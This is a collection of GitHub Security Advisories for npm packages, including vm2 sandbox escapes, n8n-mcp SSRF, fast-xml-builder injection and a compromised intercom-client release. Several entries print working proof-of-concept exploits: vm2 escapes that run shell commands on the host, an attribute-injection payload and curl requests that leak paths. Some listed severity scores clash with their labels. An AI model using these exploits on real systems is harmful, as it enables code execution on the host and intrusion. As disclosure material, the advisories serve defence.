deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-qxhc-wx3p-2wmg
Package: @fastify/accepts-serializer (NPM)
Severity: HIGH (CVSS 7.5)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: <= 6.0.3
Patched in: 6.0.4

Summary: @fastify/accepts-serializer Vulnerable to Denial of Service via Unbounded Accept Header Cache Growth

Details:
### Impact

`@fastify/accepts-serializer` cached serializer-selection results keyed by the request `Accept` header without a size limit or eviction policy. A remote unauthenticated client could send many distinct but matching `Accept` header variants to make the cache grow unbounded. Under sustained load, this can exhaust the Node.js heap and crash the process.

### Patches

Update to `@fastify/accepts-serializer >= 6.0.4`. The cache is now bounded by an LRU with a default size of 100 entries, configurable via the new `cacheSize` plugin option.

### Workarounds

None. Upgrade is required.
GitHub Security Advisory: GHSA-8g7g-hmwm-6rv2
Package: n8n-mcp (NPM)
Severity: HIGH (CVSS 8.3)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 2.50.1
Patched in: 2.50.1

Summary: n8n-mcp affected by path traversal, redirect-following SSRF, and telemetry payload exposure

Details:
## Impact

`n8n-mcp` versions before 2.50.1 contained three independently-reported issues affecting deployments that run the n8n API integration:

1. **Caller-supplied identifiers were not validated before being used as URL path segments** by the n8n API client. An authenticated MCP caller passing a crafted workflow id could cause outbound requests carrying the configured n8n API key to land on other same-origin endpoints, bypassing handler-level access controls (including `DISABLED_TOOLS`).

2. **Validated webhook, form, and chat trigger URLs followed redirects.** A URL that passed initial validation could redirect the outbound request to a host that would otherwise have been rejected, with the response body returned to the caller. Reachable as non-blind SSRF over authenticated MCP calls.

3. **Mutation telemetry stored unredacted operation payloads.** On instances running with the default opt-in telemetry, partial-update operation diffs were uploaded without redaction. Operation values can carry the same node-parameter values the workflow contains, including bearer tokens, API keys, and webhook secrets.

## Severity

CVSS 8.3 (HIGH). Exploitation requires an authenticated MCP caller and an n8n API integration configured with an n8n API key.

## Patched versions

Upgrade to `n8n-mcp >= 2.50.1`.

## Workarounds

- For issues (1) and (2): restrict network access to the HTTP transport (firewall, reverse-proxy ACL, or VPN) so only trusted callers can reach the MCP HTTP port; or switch to stdio mode, which exposes no HTTP surface for these issues.
- For issue (3): set `N8N_MCP_TELEMETRY_DISABLED=true` in the environment before starting the server, or run `npx n8n-mcp telemetry disable` once.

## Credit

Reported by @cybercraftsolutionsllc.
GitHub Security Advisory: GHSA-cmrh-wvq6-wm9r
Package: n8n-mcp (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition, CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 2.18.7, < 2.50.2
Patched in: 2.50.2

Summary: n8n-mcp webhook and API client paths has an authenticated SSRF

Details:
### Summary

Authenticated Server-Side Request Forgery affecting the webhook trigger tools, the n8n API client (`N8N_API_URL`), and per-request URLs supplied via the `x-n8n-url` header in multi-tenant HTTP mode.

### Impact

A caller with access to the MCP session can drive HTTP requests from the n8n-mcp host to internal services and cloud metadata endpoints that the SSRF gate is meant to block. The response body is returned to the caller, making internal-service enumeration and credential theft immediate without any out-of-band channel.

- **Multi-tenant HTTP deployments** where tenants share an `AUTH_TOKEN`: any tenant with valid credentials can reach the operator's cloud metadata service and exfiltrate temporary IAM / GCP service account / Azure managed-identity credentials.
- **Single-tenant deployments**: indirect prompt injection through tool arguments reaches the same surface; an attacker who can influence the LLM's tool calls can read internal services from the n8n-mcp host.
- **Stdio deployments** are reachable via the same prompt-injection path.

### Patched Versions

Fixed in `n8n-mcp@2.50.2`.

**Note for operators:** The same SSRF gate that previously covered webhook URLs now also covers the n8n API client base URL. If `N8N_API_URL` points at `http://localhost:5678` (n8n on the same host) or an RFC1918 address (n8n on the same private network), set `WEBHOOK_SECURITY_MODE=moderate` (allows localhost, still blocks RFC1918 and cloud metadata) or `WEBHOOK_SECURITY_MODE=permissive` (allows RFC1918 too — only safe on a trusted private network). Default `strict` is correct for deployments where n8n is reachable at a public hostname.

### Workarounds

For deployments that cannot upgrade immediately:

1. **Restrict network egress** from the n8n-mcp host with a firewall, reverse proxy, or cloud security group. Explicitly deny cloud metadata IPs (`169.254.169.254`, `169.254.170.2`, `100.100.100.200`, `192.0.0.192`, and the GCP `metadata.google.internal` resolved IP) and any RFC1918 networks the server does not legitimately need to reach.
2. **Run in stdio mode** instead of HTTP if the multi-tenant surface is not needed (no shared `AUTH_TOKEN` to compromise).
3. **Disable workflow management tools** via `DISABLED_TOOLS=n8n_trigger_webhook_workflow,n8n_create_workflow,n8n_test_workflow` if the deployment does not need them.

### Credit

Reported by [@fg0x0](https://github.com/fg0x0).
GitHub Security Advisory: GHSA-gcmm-c94j-j47x
Package: @puchunjie/doc-tools-mcp (NPM)
Severity: LOW (CVSS 6.3)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 1.0.18
Patched in: unpatched

Summary: @puchunjie/doc-tools-mcp has a Path Traversal Issue

Details:
A security flaw has been discovered in puchunjie doc-tools-mcp 1.0.18. This affects the function create_document/open_document of the file src/mcp-server.ts of the component MCP Interface. The manipulation of the argument filePath results in path traversal. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.
GitHub Security Advisory: GHSA-5wm8-gmm8-39j9
Package: fast-xml-builder (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-611: Improper Restriction of XML External Entity Reference
Vulnerable versions: <= 1.1.6
Patched in: 1.1.7

Summary: fast-xml-builder allows attribute values with unwanted quotes to bypass malicious or unwanted attributes

Details:
# Summary
When an input data has quotes in attribute values but process entities is not enabled, it breaks the attribute value into multiple attributes. This gives the room for an attacker to insert unwanted attributes to the XML/HTML.

## Detail

Malicious Input
```
{
      a: {
        "@_attr": '" onClick="alert(1)'
      }
}
```

Output
```xml
<a attr="" onClick="alert(1)"></a>
```

### Workarounds
If you're not ignoring attributes then keep processEntities flag true.
GitHub Security Advisory: GHSA-45c6-75p6-83cc
Package: fast-xml-builder (NPM)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-91: XML Injection (aka Blind XPath Injection)
Vulnerable versions: = 1.1.5
Patched in: 1.1.6

Summary: fast-xml-builder Comment Value regex can be bypassed

Details:
# Summary
The fix for https://github.com/advisories/GHSA-gh4j-gqv2-49f6 in fast-xml-parser sanitizes `--` sequences in XML comment content using .replace(/--/g, '- -'). This skip the values containing three consecutive dashes (e.g., --->...), allowing an attacker to break out of an XML comment and inject arbitrary XML/HTML content.

### Impact
Any application with comment property enabled allow attacker to inject malicious or unwanted code like JS script tag in the XML/HTML output.

### Workarounds
Check for the presence of 3 consecutive dashes externally in the property value used for comment tag.
GitHub Security Advisory: GHSA-2cm2-m3w5-gp2f
Package: vm2 (NPM)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-693: Protection Mechanism Failure
Vulnerable versions: < 3.11.2
Patched in: 3.11.2

Summary: vm2 has access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`

Details:
### Summary

https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.

### Details

It is still possible to get access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`.

### PoC

```js
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
 globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']
`));
```
GitHub Security Advisory: GHSA-9vg3-4rfj-wgcm
Package: vm2 (NPM)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-668: Exposure of Resource to Wrong Sphere
Vulnerable versions: < 3.11.2
Patched in: 3.11.2

Summary: vm2 has Sandbox Breakout Through Null Proto Exception

Details:
### Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

### Details

In `handleException` due to ``// SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`)`` exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host `Function` object.

### PoC

```js
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const o = {__proto__: null};
try {
	throw o;
} catch (e) {
	e.f = Buffer.prototype.inspect
	o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
`));
```

### Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
GitHub Security Advisory: GHSA-9qj6-qjgg-37qq
Package: vm2 (NPM)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-668: Exposure of Resource to Wrong Sphere
Vulnerable versions: <= 3.11.1
Patched in: 3.11.2

Summary: vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`

Details:
### Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

### Details

The new method `neutralizeArraySpeciesBatch` works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host `Function` object.

### PoC

```js
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const a = [];
Object.defineProperty(Array.prototype, 0, {
	set(value) {
		a.f = Buffer.prototype.inspect;
		value.arr.f.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
	}
});
new Buffer(a);
`));
```

### Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
GitHub Security Advisory: GHSA-j7h9-2jh7-g967
Package: mcp-ssh-tool (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-208: Observable Timing Discrepancy
Vulnerable versions: <= 2.1.0
Patched in: 2.1.1

Summary: mcp-ssh-tool has file transfer path policy bypass and bearer token comparison hardening

Details:
## Summary

`mcp-ssh-tool` has released version `2.1.1` with security hardening for transfer path authorization and HTTP bearer authentication.

The release addresses:

- insufficient local path policy enforcement in transfer-related filesystem handling
- incomplete canonicalization and segment-boundary handling for deny-prefix path policy checks
- non-constant-time HTTP bearer token comparison

## Impact

Affected versions may allow policy bypass in transfer path handling under specific configurations, and may expose a timing side channel in bearer-token comparison for HTTP deployments.

## Patched Version

Upgrade to `mcp-ssh-tool >= 2.1.1`.

```bash
npm install -g mcp-ssh-tool@latest
```

## Workarounds

For deployments that cannot immediately upgrade:

- avoid exposing HTTP transport beyond loopback
- use strict filesystem policy configuration
- avoid granting MCP clients access to sensitive local transfer paths
- monitor audit logs for unexpected transfer operations

## Credits

Reported by `dodge1218`.
GitHub Security Advisory: GHSA-gc2j-wpjv-jhrw
Package: sublinear-time-solver (NPM)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 1.5.0
Patched in: unpatched

Summary: sublinear-time-solver has a Path Traversal Issue

Details:
A vulnerability was found in ruvnet sublinear-time-solver 1.5.0. Affected by this vulnerability is the function export_state of the file src/consciousness-explorer/mcp/server.js of the component MCP Interface. The manipulation results in path traversal. The attack can be executed remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.
GitHub Security Advisory: GHSA-gc8w-x73w-p4rh
Package: yii2-mcp-server (NPM)
Severity: LOW (CVSS 6.3)
CWE: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Vulnerable versions: <= 1.0.2
Patched in: unpatched

Summary: yii2-mcp-server has a Command Injection Issue

Details:
A flaw has been found in ArtMin96 yii2-mcp-server 1.0.2. This impacts the function yii_command_help/yii_execute_command of the file src/index.ts of the component MCP Interface. Executing a manipulation can lead to os command injection. The attack can be executed remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.
GitHub Security Advisory: GHSA-54pg-9963-v8vg
Package: intercom-client (NPM)
Severity: CRITICAL (CVSS 9.3)
CWE: CWE-506: Embedded Malicious Code
Vulnerable versions: = 7.0.4
Patched in: unpatched

Summary: Compromised version of intercom-client published to npm

Details:
### Impact

On April 30, 2026, version 7.0.4 of intercom-client was published to npm using credentials obtained from a compromised developer account. This version was not produced by Intercom's build pipeline.

The malicious version contained an obfuscated JavaScript payload that executed during package installation via a preinstall hook. The payload harvested credentials from the environment in which it ran, including cloud provider credentials (AWS, GCP, Azure), environment variables, .env files, GitHub and npm tokens, SSH keys, local configuration files, and cloud metadata service credentials.

Harvested data was exfiltrated to attacker-controlled GitHub repositories. The package was live on npm for approximately 2 hours (15:00-17:00 UTC).

This compromise is part of the "Mini Shai-Hulud" supply chain campaign tracked by Wiz and Socket.

Developers can check if their projects are affected by running: `npm list intercom-client`. If it shows 7.0.4, the project is affected.

### Patches

Version 7.0.3 and all prior versions are unaffected. Downgrade to 7.0.3 immediately.

### Workarounds

If a developer installed version 7.0.4 on any machine or CI system, treat all credentials accessible from that environment as compromised and rotate them. Check lock files (`package-lock.json`, `yarn.lock`, `pnpm-lock.yaml`) for references to 7.0.4. Review CI/CD build logs for any `npm install` that resolved to 7.0.4 between 15:00 and 17:00 UTC on April 30, 2026.

### Resources

- https://socket.dev/blog/intercom-s-npm-package-compromised-in-supply-chain-attack
- https://www.intercomstatus.com/us-hosting/incidents/01KQFN6VS6ARP1XBR1K1SBYY59
- https://www.wiz.io/blog/mini-shai-hulud-supply-chain-sap-npm
GitHub Security Advisory: GHSA-6477-wvjj-47v6
Package: openclaw (NPM)
Severity: MODERATE (CVSS 3.7)
CWE: CWE-706: Use of Incorrectly-Resolved Name or Reference
Vulnerable versions: < 2026.4.2
Patched in: 2026.4.2

Summary: Duplicate Advisory: OpenClaw: Zalo replay dedupe keys could suppress messages across chats or senders

Details:
### Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-rxmx-g7hr-8mx4. This link is maintained to preserve external references.

### Original Description
OpenClaw before 2026.4.2 contains an insufficient scope vulnerability in Zalo webhook replay dedupe keys that allows legitimate events from different conversations or senders to collide. Attackers can exploit weak deduplication scoping to cause silent message suppression and disrupt bot workflows across chat sessions.
GitHub Security Advisory: GHSA-j944-w549-3453
Package: cinny (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: < 4.10.3
Patched in: 4.10.3

Summary: Cinny vulnerable to access token disclosure via invalidated emoji pack avatar URL in service worker

Details:
### Impact
A remote authenticated attacker who shares a room with a victim and has permissions to create room emotes (for example in a DM) can cause the victim's client to send their Matrix access token to an attacker-controlled server. This occurs when the victim opens the emoji or sticker picker for the room containing a malicious emote pack. 

The root causes are: 

(1) an incorrect fallback in EmojiBoard that uses untrusted `pack.meta.avatar` (user-controlled) without converting/validating it as an MXC URL, allowing arbitrary HTTP(S) URLs to be used; and 

(2) the service worker attaching the user's Authorization bearer token to all outbound GET requests whose URL contains `/_matrix/client/v1/media/download` or `/_matrix/client/v1/media/thumbnail` without verifying the request host matches the configured homeserver origin. An attacker-controlled URL containing those path fragments and permissive CORS will receive the victim's Authorization header (access token). 

Impacted users: anybody using affected Cinny web app versions who opens the emoji/sticker picker in a room containing a malicious emote pack and who is logged in (authenticated).

### Patches
Version with fixes: https://github.com/cinnyapp/cinny/releases/tag/v4.10.3
GitHub Security Advisory: GHSA-v27g-jcqj-v8rw
Package: vm2 (NPM)
Severity: MODERATE (CVSS 5.8)
CWE: CWE-209: Generation of Error Message Containing Sensitive Information
Vulnerable versions: <= 3.10.5
Patched in: 3.11.0

Summary: vm2 is Vulnerable to Host File Path Disclosure via Stack Trace Information Leak

Details:
### Summary
vm2's `CallSite` wrapper class (intended as a safe wrapper for V8's native CallSite) blocks `getThis()` and `getFunction()` to prevent host object leakage, but allows `getFileName()` to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.

### Details
In `lib/setup-sandbox.js:436-466`, the `CallSite` class overrides `getThis()` and `getFunction()` with `undefined` to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:

- `getFileName()` — returns host absolute paths like `/app/node_modules/vm2/lib/vm.js`
- `getLineNumber()`, `getColumnNumber()` — exact source locations
- `getFunctionName()`, `getMethodName()`, `getTypeName()` — internal function names

Two exploitation paths exist:
1. **Default `error.stack`**: `new Error().stack` includes host frame paths in the formatted string
2. **Custom `prepareStackTrace`**: Attacker can set `Error.prepareStackTrace` to directly call `getFileName()` on each CallSite, extracting a clean list of all host paths

### PoC

**Library-level PoC (Node.js script — primary):**
```javascript
const { VM } = require("vm2");
const vm = new VM();

// Path A — Default error.stack
const result1 = vm.run(`try { null.x; } catch(e) { e.stack }`);
console.log(result1);
// Output includes: /app/node_modules/vm2/lib/vm.js:289:18
//                   /app/src/server.js:49:20

// Path B — prepareStackTrace extraction
const result2 = vm.run(`
  Error.prepareStackTrace = function(e, sst) {
    return sst.map(function(s) { return s.getFileName(); }).join(", ");
  };
  new Error().stack
`);
console.log(result2);
// Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ...
```

**HTTP demonstration:**
```bash
# Default error.stack
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"try { null.x; } catch(e) { e.stack }"}'
# Result includes host paths: /app/src/server.js, /app/node_modules/express/...

# prepareStackTrace extraction
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\", \"); }; new Error().stack"}'
# Result: /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...
```

### Impact
- **Information Disclosure**: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code.
- **Attack Chain**: Leaked paths enable precise targeting for other vulnerabilities.
- **Scope**: All applications using vm2. No special configuration required.
GitHub Security Advisory: GHSA-47x8-96vw-5wg6
Package: vm2 (NPM)
Severity: CRITICAL (CVSS 10.0)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: <= 3.10.5
Patched in: 3.11.0

Summary: vm2 Access to Host Object Enables Sandbox Escape

Details:
### Summary

It is possible to obtain the host `Object`, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.

### Details

There are various ways to use the host `Object`, to escape the sandbox, one example would be using  `HostObject.getOwnPropertySymbols` to obtain `Symbol(nodejs.util.inspect.custom)`

### PoC

```js
const g = {}.__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const o = p.call(p.call(a));
const HObject = o.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);

const obj = {
	[sym]: (depth, opt, inspect) => {
		inspect.constructor("return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})")();
	},
	valueOf: undefined,
	constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});
```

### Impact

Sandbox Escape -> RCE